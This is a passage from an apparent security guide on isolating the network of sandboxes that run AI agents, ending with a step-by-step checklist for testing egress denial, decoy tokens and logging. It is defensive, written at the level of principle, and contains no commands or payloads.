Supply-chain behavior: dependency installation may execute code. Network denial limits communication but does not make hostile code safe.
Local persistence: data written to reused volumes may survive and be transmitted by a later, better-connected job.
Observation gaps: sampling, rate limits, dropped logs, clock drift, or collector failure may hide events.
Protocol evolution: new runtimes and tools may add alternate transports, helpers, or proxy behavior. Maintain the suite as a regression control.
Human exceptions: emergency allow rules and debugging mounts often outlive the incident that created them. Make exceptions time-bound and automatically retested.
For high-risk agent execution, combine the network policy with ephemeral workloads, verified images, signed configuration, read-only inputs, minimal tools, dedicated identities, short-lived credentials, strict output review, resource quotas, and rapid teardown.
13. Repeatable checklist
Before the run
Use a dedicated disposable host or VM.
Remove production credentials and workload identities.
Record kernel, runtime, image, and policy versions.
Create a private internal network.
Start a non-forwarding approved gateway.
Run the sandbox as non-root with no capabilities.
Enable read-only root, limited temporary storage, PID, CPU, and memory limits.
Verify that runtime sockets and host directories are absent.
Load host-level input and forwarding policies.
Cover both IPv4 and IPv6 explicitly.
Disable DNS or configure a controlled resolver.
Sanitize proxy and package-manager configuration.
Generate unique synthetic decoys.
Start firewall, gateway, DNS, and file-access logging.
During the run
Run the approved positive control first.
Test direct TCP, UDP, IPv4, and IPv6.
Test DNS and alternate resolvers.
Inject explicit proxy variables and confirm denial.
Exercise package-manager and version-control network paths.
Test loopback, private, link-local, metadata, bridge, and host destinations.
Verify decoy reads and denied transmission attempts.
Test namespace, mount, route, interface, and privilege operations.
Verify that the gateway cannot be used as a generic proxy.
Correlate every result with independent evidence.
After the run
Capture final firewall counters and effective rules.
Search for unexpected gateway, DNS, and decoy events.
Mark missing evidence as a failure, not as “not observed.”
Document exceptions, owners, and retest dates.
Rotate or destroy all synthetic fixtures.
Remove the disposable environment using the approved teardown process.
Repeat after kernel, runtime, image, network, proxy, or orchestration changes.
Expected final state
The finished stand has one demonstrably functional application path, no arbitrary outbound route, no uncontrolled resolver, no inherited proxy escape, no cloud or runtime credentials, and no host-control socket. Synthetic tokens produce observable read events. Attempts to send them to denied destinations produce host-level network evidence, while the authoritative logs remain outside the sandbox’s control.
Continue with more repeatable implementation material in Agent Lab Journal guides, or review security and agent-engineering terminology in the glossary.
© Agent Lab Journal
Top comments (0)